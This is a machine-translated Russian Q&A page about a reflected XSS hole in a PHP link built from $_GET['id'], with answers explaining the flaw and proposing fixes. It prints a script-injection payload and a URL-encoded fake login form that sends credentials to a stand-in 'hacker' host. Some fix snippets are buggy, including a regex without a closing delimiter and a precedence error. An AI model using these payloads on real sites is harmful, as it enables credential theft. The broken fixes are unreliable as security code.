Почему это XSS-атака и как это предотвратить?

У меня есть этот код php, и мой автотест безопасности CMS говорит, что это атака XSS. Почему и как я могу это исправить?

$url = "news.php"; if (isset($_GET['id'])) $url .= "?id=".$_GET["id"]; echo "<a href='{$url}'>News</a>"; 

Solutions Collecting From Web of "Почему это XSS-атака и как это предотвратить?"

Это XSS (межсайтовый скриптинг), поскольку кто-то может назвать вашу вещь следующим образом:

 ?id='></a><script type='text/javascript'>alert('xss');</script><a href=' 

По сути, превращение вашего кода в

 <a href='news.php?id='></a><script type='text/javascript'>alert('xss');</script><a href=''>News</a> 

Теперь, когда кто-то посетит этот сайт, он загрузит и запустит alert('xss'); javascript alert('xss'); который также может быть перенаправителем или похитителем файлов cookie.

Как и многие другие, вы можете исправить это, используя filter_var или intval (если это число). Если вы хотите быть более продвинутым, вы также можете использовать регулярное выражение для соответствия вашей строке.

Представьте, что вы принимаете az AZ и 0-9. Это будет работать:

 if (preg_match("/^[0-9a-zA-Z]+$", $_GET["id"])) { //whatever } 

filter_input даже имеет ручную запись, которая делает именно то, что вы хотите (дезинфицируя ваш вход в ссылку):

 <?php $search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS); $search_url = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED); echo "You have searched for $search_html.\n"; echo "<a href='?search=$search_url'>Search again.</a>"; ?> 

Да .. просто прикрепите

 site.php?id=%27%3E%3C%2Fa%3E%3Cbr%3E%3Cbr%3EPlease+login+with+the+form+below+before%0D%0A%09proceeding%3A%3Cform+action%3D%22http%3A%2F%2Fhacker%2Ftest.php%22%3E%3Ctable%3E%0D%0A%09%3Ctr%3E%0D%0A%09%09%3Ctd%3ELogin%3A%3C%2Ftd%3E%0D%0A%09%09%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%0D%0A%09%3C%2Ftr%3E%0D%0A%09%3Ctr%3E%0D%0A%09%09%3Ctd%3EPassword%3A%0D%0A%09%09%3C%2Ftd%3E%0D%0A%09%09%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dpassword%3E%3C%2Ftd%3E%0D%0A%09%3C%2Ftr%3E%0D%0A%09%3C%2Ftable%3E%0D%0A%09%3Cinput+type%3Dsubmit+value%3DLOGIN%3E%0D%0A%3C%2Fform%3E%3Ca+href%3D%27 ^ | Start XSS Injection 

Это приведет к выводу

 <a href='news.php?id='></a> <br> <br> Please login with the form below before proceeding: <form action="http://hacker/test.php"> <table> <tr> <td>Login:</td> <td><input type=text length=20 name=login></td> </tr> <tr> <td>Password:</td> <td><input type=text length=20 name=password></td> </tr> </table> <input type=submit value=LOGIN> </form> <a href=''>News</a> 

Задав вашему клиенту имя пользователя и пароль для продолжения и отправки информации по http://hacker/test.php а затем они снова возвращаются нормально, как будто ничего не произошло

Чтобы исправить эту попытку

 $_GET["id"] = intval($_GET["id"]); 

Или

 $_GET["id"] = filter_var($_GET["id"], FILTER_SANITIZE_NUMBER_INT); 

Вам потребуется urlencode:

 $url .= "?id=" . urlencode($_GET["id"]); 

В качестве глобального правила вы должны фильтровать содержимое GET и POST. Используйте filter_var перед использованием содержимого $ _GET ['id'].

 $filtered_id = filter_var ($_GET['id'], FILTER_SANITIZE_NUMBER_INT); // or at least $id = (int) $_GET['id']; 

Никогда не используйте напрямую $ _GET или $ _POST !!! Вы должны сбежать от него каким-то образом. Например ..

 $url = "news.php"; if (isset($_GET['id']) && $id=intval($_GET["id"])>0){ $url .= "?id={$id}"; } echo "<a href='{$url}'>News</a>";